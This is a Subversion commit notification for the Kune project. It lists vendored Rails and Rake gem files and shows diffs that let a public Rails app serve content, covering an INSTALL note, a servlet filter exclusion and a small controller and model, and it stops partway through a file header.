   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/templates/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/templates/migration.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/USAGE
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/model_generator.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/fixtures.yml
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/migration.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/model.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates/unit_test.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/USAGE
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/observer_generator.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/templates/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/templates/observer.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/templates/unit_test.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/USAGE
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/templates/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/USAGE
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/plugin_generator.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/MIT-LICENSE
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/README
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/USAGE
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/generator.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/init.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/install.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/plugin.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/tasks.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/test_helper.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/uninstall.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates/unit_test.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/USAGE
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/resource_generator.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/controller.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/functional_test.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates/helper.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/USAGE
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/scaffold_generator.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/controller.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/helper.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/style.css
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/USAGE
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/templates/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/templates/migration.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/lookup.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/manifest.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/options.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/destroy.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/generate.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts/update.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/secret_key_generator.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/simple_logger.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/spec.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/railties_path.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/ruby_version_check.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rubyprof_ext.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/source_annotation_extractor.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/annotations.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/databases.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/documentation.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/framework.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/gems.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/log.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/misc.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/rails.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/routes.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/statistics.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/testing.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks/tmp.rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/test_help.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/webrick_server.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/CHANGES
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/MIT-LICENSE
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/README
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/TODO
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/bin/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/bin/rake
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/Rakefile1
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/Rakefile2
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/a.c
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/b.c
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example/main.c
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/glossary.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/jamis.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/proto_rake.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rake.1.gz
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rakefile.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/rational.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.4.14.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.4.15.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.0.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.3.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.4.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.6.0.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.0.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.1.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.2.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.3.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.0.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.2.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.3.rdoc
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/install.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/classic_namespace.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/clean.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/compositepublisher.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/ftptools.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/publisher.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/rubyforgepublisher.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/sshpublisher.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib/sys.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/gempackagetask.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/loaders/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/loaders/makefile.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/packagetask.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/rake_test_loader.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/rdoctask.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/ruby182_test_unit_fix.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/runtest.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/tasklib.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/testtask.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/win32.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/capture_stdout.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/check_expansion.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/contrib/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/contrib/test_sys.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/chains/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/chains/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/default/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/default/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/dryrun/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/dryrun/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/file_creation_task/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/file_creation_task/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/imports/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/imports/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/imports/deps.mf
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/multidesc/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/multidesc/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/namespace/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/namespace/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rakelib/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rakelib/test1.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rbext/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rbext/rakefile.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/sample.mf
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/statusreturn/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/statusreturn/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/unittest/
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/unittest/Rakefile
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/filecreation.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/functional.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/in_environment.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/rake_test_setup.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/reqfile.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/reqfile2.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/session_functional.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/shellcommand.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_application.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_clean.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_definitions.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_earlytime.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_extension.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_file_creation_task.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_file_task.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_filelist.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_fileutils.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_ftp.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_invocation_chain.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_makefile_loader.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_multitask.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_namespace.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_package_task.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_pathmap.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_rake.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_require.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_rules.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_task_arguments.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_task_manager.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_tasklib.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_tasks.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_test_task.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_top_level_functions.rb
   trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_win32.rb
   trunk/src/main/webapp/WEB-INF/gems/specifications/
   trunk/src/main/webapp/WEB-INF/gems/specifications/actionmailer-2.2.2.gemspec
   trunk/src/main/webapp/WEB-INF/gems/specifications/actionpack-2.2.2.gemspec
   trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-2.2.2.gemspec
   trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-jdbc-adapter-0.9.gemspec
   trunk/src/main/webapp/WEB-INF/gems/specifications/activerecord-jdbcmysql-adapter-0.9.gemspec
   trunk/src/main/webapp/WEB-INF/gems/specifications/activeresource-2.2.2.gemspec
   trunk/src/main/webapp/WEB-INF/gems/specifications/activesupport-2.2.2.gemspec
   trunk/src/main/webapp/WEB-INF/gems/specifications/jdbc-mysql-5.0.4.gemspec
   trunk/src/main/webapp/WEB-INF/gems/specifications/jruby-openssl-0.3.gemspec
   trunk/src/main/webapp/WEB-INF/gems/specifications/rails-2.2.2.gemspec
   trunk/src/main/webapp/WEB-INF/gems/specifications/rake-0.8.3.gemspec
   trunk/src/main/webapp/WEB-INF/publicspace
Removed:
   trunk/src/main/rails/publicspace/public/index.html
Modified:
   trunk/INSTALL
   trunk/src/main/java/org/ourproject/kune/app/server/KuneRackModule.java
   trunk/src/main/rails/publicspace/config/routes.rb
   trunk/src/main/webapp/WEB-INF/
   trunk/src/main/webapp/WEB-INF/web.xml
Log:
public rails app now serves content

Modified: trunk/INSTALL
===================================================================
--- trunk/INSTALL	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/INSTALL	2008-12-20 21:22:52 UTC (rev 1004)
@@ -1,6 +1,7 @@
 INSTALL
 --------------------------------------------------------------------------------
 
+
 For development:
 
 * MYSQL configuration:
@@ -47,6 +48,11 @@
   copy everything from target/kune-0.0.VERSIONHERE/org.ourproject.kune.app.Kune to src/main/webapp/gwt/org.ourproject.kune.app.Kune)
 
 
+FIXME:
+Caution! windows users: you should have a symbolic link from <trunk>/src/main/rails/publicspace to <trunk>/src/main/webapp/WEB-INF/publicspace
+
+
+
 - Configure upload directory:
 
   sudo mkdir -p /var/lib/kune/uploads/

Modified: trunk/src/main/java/org/ourproject/kune/app/server/KuneRackModule.java
===================================================================
--- trunk/src/main/java/org/ourproject/kune/app/server/KuneRackModule.java	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/java/org/ourproject/kune/app/server/KuneRackModule.java	2008-12-20 21:22:52 UTC (rev 1004)
@@ -64,60 +64,61 @@
     private final Module configModule;
 
     public KuneRackModule() {
-        this("development", "kune.properties", null);
+	this("development", "kune.properties", null);
     }
 
     public KuneRackModule(final String jpaUnit, final String propertiesFileName, final Scope sessionScope) {
-        configModule = new AbstractModule() {
-            @Override
-            public void configure() {
-                bindInterceptor(Matchers.any(), new NotInObject(), new LoggerMethodInterceptor());
-                bindConstant().annotatedWith(JpaUnit.class).to(jpaUnit);
-                bindConstant().annotatedWith(PropertiesFileName.class).to(propertiesFileName);
-                if (sessionScope != null) {
-                    bindScope(SessionScoped.class, sessionScope);
-                }
-            }
-        };
+	configModule = new AbstractModule() {
+	    @Override
+	    public void configure() {
+		bindInterceptor(Matchers.any(), new NotInObject(), new LoggerMethodInterceptor());
+		bindConstant().annotatedWith(JpaUnit.class).to(jpaUnit);
+		bindConstant().annotatedWith(PropertiesFileName.class).to(propertiesFileName);
+		if (sessionScope != null) {
+		    bindScope(SessionScoped.class, sessionScope);
+		}
+	    }
+	};
     }
 
     @SuppressWarnings("unchecked")
     public void configure(final RackBuilder builder) {
-        installGuiceModules(builder);
+	installGuiceModules(builder);
 
-        builder.add(KuneContainerListener.class);
+	builder.add(KuneContainerListener.class);
 
-        builder.exclude("/http-bind.*");
-        builder.exclude("/services/fileupload.*");
-        builder.at(".*").install(new LogFilter());
-        builder.at(".*").install(new GuiceFilter());
+	builder.exclude("/http-bind.*");
+	builder.exclude("/services/fileupload.*");
+	builder.exclude("/public/.*");
+	builder.at(".*").install(new LogFilter());
+	builder.at(".*").install(new GuiceFilter());
 
-        builder.at("^/$").install(new RedirectFilter("/kune/"));
-        builder.at("^/kune$").install(new RedirectFilter("/kune/"));
+	builder.at("^/$").install(new RedirectFilter("/kune/"));
+	builder.at("^/kune$").install(new RedirectFilter("/kune/"));
 
-        builder.at("^/kune/$").install(new ListenerFilter(KuneApplicationListener.class),
-                new ForwardFilter("/gwt/org.ourproject.kune.app.Kune/Kune.html"));
+	builder.at("^/kune/$").install(new ListenerFilter(KuneApplicationListener.class),
+		new ForwardFilter("/gwt/org.ourproject.kune.app.Kune/Kune.html"));
 
-        builder.installGWTServices("^/kune/", SiteService.class, GroupService.class, ContentService.class,
-                UserService.class, SocialNetworkService.class, I18nService.class);
-        builder.installRESTServices("^/kune/json/", TestJSONService.class, GroupJSONService.class,
-                UserJSONService.class, I18nTranslationJSONService.class, ContentJSONService.class);
-        builder.installServlet("^/kune/servlets/", FileUploadManager.class, FileDownloadManager.class,
-                EntityLogoUploadManager.class, EntityLogoDownloadManager.class);
+	builder.installGWTServices("^/kune/", SiteService.class, GroupService.class, ContentService.class,
+		UserService.class, SocialNetworkService.class, I18nService.class);
+	builder.installRESTServices("^/kune/json/", TestJSONService.class, GroupJSONService.class,
+		UserJSONService.class, I18nTranslationJSONService.class, ContentJSONService.class);
+	builder.installServlet("^/kune/servlets/", FileUploadManager.class, FileDownloadManager.class,
+		EntityLogoUploadManager.class, EntityLogoDownloadManager.class);
 
-        builder.at("^/kune/(.*)$").install(new ForwardFilter("^/kune/(.*)$", "/gwt/org.ourproject.kune.app.Kune/{0}"));
+	builder.at("^/kune/(.*)$").install(new ForwardFilter("^/kune/(.*)$", "/gwt/org.ourproject.kune.app.Kune/{0}"));
     }
 
     private void installGuiceModules(final RackBuilder builder) {
-        builder.use(new ServletModule());
-        builder.use(new PlatformServerModule());
-        builder.use(new DocumentServerModule());
-        builder.use(new BlogServerModule());
-        builder.use(new WikiServerModule());
-        builder.use(new ChatServerModule());
-        builder.use(new GalleryServerModule());
-        builder.use(new RESTServicesModule());
-        builder.use(configModule);
+	builder.use(new ServletModule());
+	builder.use(new PlatformServerModule());
+	builder.use(new DocumentServerModule());
+	builder.use(new BlogServerModule());
+	builder.use(new WikiServerModule());
+	builder.use(new ChatServerModule());
+	builder.use(new GalleryServerModule());
+	builder.use(new RESTServicesModule());
+	builder.use(configModule);
     }
 
 }

Added: trunk/src/main/rails/publicspace/app/controllers/documents_controller.rb
===================================================================
--- trunk/src/main/rails/publicspace/app/controllers/documents_controller.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/app/controllers/documents_controller.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class DocumentsController < ApplicationController
+  def index
+    @contents = Content.find :all
+  end
+end

Added: trunk/src/main/rails/publicspace/app/helpers/documents_helper.rb
===================================================================
--- trunk/src/main/rails/publicspace/app/helpers/documents_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/app/helpers/documents_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+module DocumentsHelper
+end

Added: trunk/src/main/rails/publicspace/app/models/content.rb
===================================================================
--- trunk/src/main/rails/publicspace/app/models/content.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/rails/publicspace/app/models/content.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class Content < ActiveRecord::Base
+  belongs_to :last_revision, :class_name => 'Revision', :foreign_key => 'lastRevision_id'
+end

Added: trunk/src/main/rails/publicspace/app/models/revision.rb
===================================================================
--- trunk/src/main/rails/publicspace/app/models/revision.rb	2008-12-20 20:26:23 UTC (rev 1003)
